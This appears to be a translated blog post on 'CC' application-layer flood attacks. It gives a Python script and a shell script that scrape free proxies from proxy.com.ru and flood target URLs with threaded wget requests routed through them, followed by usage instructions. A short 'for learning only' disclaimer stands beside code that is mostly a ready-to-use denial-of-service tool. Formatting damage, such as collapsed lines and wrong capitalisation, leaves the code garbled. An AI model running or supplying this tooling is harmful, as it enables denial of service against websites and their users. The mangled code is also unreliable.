Linux cc Attack script

CC (Challengecollapsar) is mainly used to attack the page. We all have this experience, that is, when visiting the forum, if the forum is larger, more people visit, the speed of the page will be slower, the more people visit, the more pages of the forum, the larger the database, the higher the frequency of access, the use of system resources is considerable.

Recently in doing some anti-CC measures, want to verify the effect of a similar CC attack, so wrote a python script to simulate the CC attack, the principle is very simple, is to go to the network to pull a slag agent, and then through the agent to access the server, the cost is low scary, but the impact is not small ... The code is as follows ( this script can only be used for communication learning, all due to the bad consequences of the script, and I have nothing to do ):

#!/usr/bin/python#-------------------------------------------------------------------------------# name:         cc.py## author:      liusha ## created:     1/07/2014# email:        [email protected]#-------------------------------------------------------------------------------Import  urllib2import reimport osimport threadingimport timeimport randomclass  RUNCC (Threading. Thread):     def __init__ (Self,proxy,url):         threading. Thread.__init__ (self)         self.thread_proxy = proxy         self.thread_url = url         self.thread_stop = false    def run (self):  &Nbsp;      while not self.thread_stop:             os.system ("" "wget --ignore-length --cache=off -- No-http-keep-alive -t 1 --referer= "http://www.10086.com"  -U  ' mozilla/4.0  ( compatible; msie 7.0; windows nt 6.0) '  -e  ' http_proxy=http://%s/'   '%s '  & ""% (Self.thread_proxy,self.thread_url))     def stop (self):         self.thread_stop = True                 def get_stock_html (URL):      opener = urllib2.build_opener (        URLLIB2. Httpredirecthandler (),         urllib2. HttpHandler (debuglevel=0),         )     opener.addheaders = [         ( ' User-agent ',          ' mozilla/4.0  (compatible; msie 7.0; '           ' windows nt 5.1; .net clr  2.0.50727; '           '. net clr 3.0.4506.2152; .net clr  3.5.30729) ')          ]    url =   "http://proxy.com.ru/%s"%url    response = opener.open (URL)      return  ". Join (Response.readlines ()) Def getting_url ():     global  cc_url    file = open (' Url ', ' R ')     cc_url =  file.readlines ()     file.close () def getting_list ():     global ip_port     ip_port = []    for html_list in re.findall (' List_\d+.html ', get_stock_html ("list_1.html")):        print  " getting %s ' S ip:port '%html_list        ip_port +=  Eval (re.sub (', ': ', '%s '%re.findall (' \d+.\d+.\d+.\d+\d+ ', get_stock_html (html_list)))          def main ():     global cc_dict    cc_ Dict = {}    for i_name in range (Len (IP_Port)):         cc_dict[' thread%s '%i_name] =  ' RUNCC ('%s ', R ' '%s ') '% (Ip_port[i_name], Random.choice (Cc_url))     for k,v in cc_dict.items ():         k = eval (v)         k.start ()          time.sleep (0.6)         k.stop ()          if __name__ ==  ' __main__ ':     getting_ URL ()     getting_list ()     main ()

How to use:

# # #url file a line a URL is not too much ###[[email protected] cc]# cat URL http://www.ipython.me/about-mehttp://www.ipython.me/## #直接运行 # # # [email protected] cc]# python cc.py

Handsome Big Brother Fei also with Shell rough write a out, code as follows:

#!/bin/sh#email: [Email protected]url=$1page_number= ' Curl http://proxy.com.ru |grep-o "list_.*html" |awk-f "'" ' {print $NF} ' |tail-1|grep-o \[0-9\]* ' for i in ' seq 1 $page _number ' Docurl http://proxy.com.ru/list_$i.html|egrep-o "[[0-9]{1,3} \. [0-9] {1,3}\. [0-9] {1,3}\. [0-9] {1,3}.*[0-9]{2,4} "|awk-f" <|> "' {print $, $NF} ' >> ip.txtdonewhile read IP portdowget-b--cache=off--igno Re-length--referer= "http://www.10086.com"-U ' mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) '-y on-e ' http_proxy=http://$ip: $port/"" $url "Done < Ip.txt

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Linux cc Attack script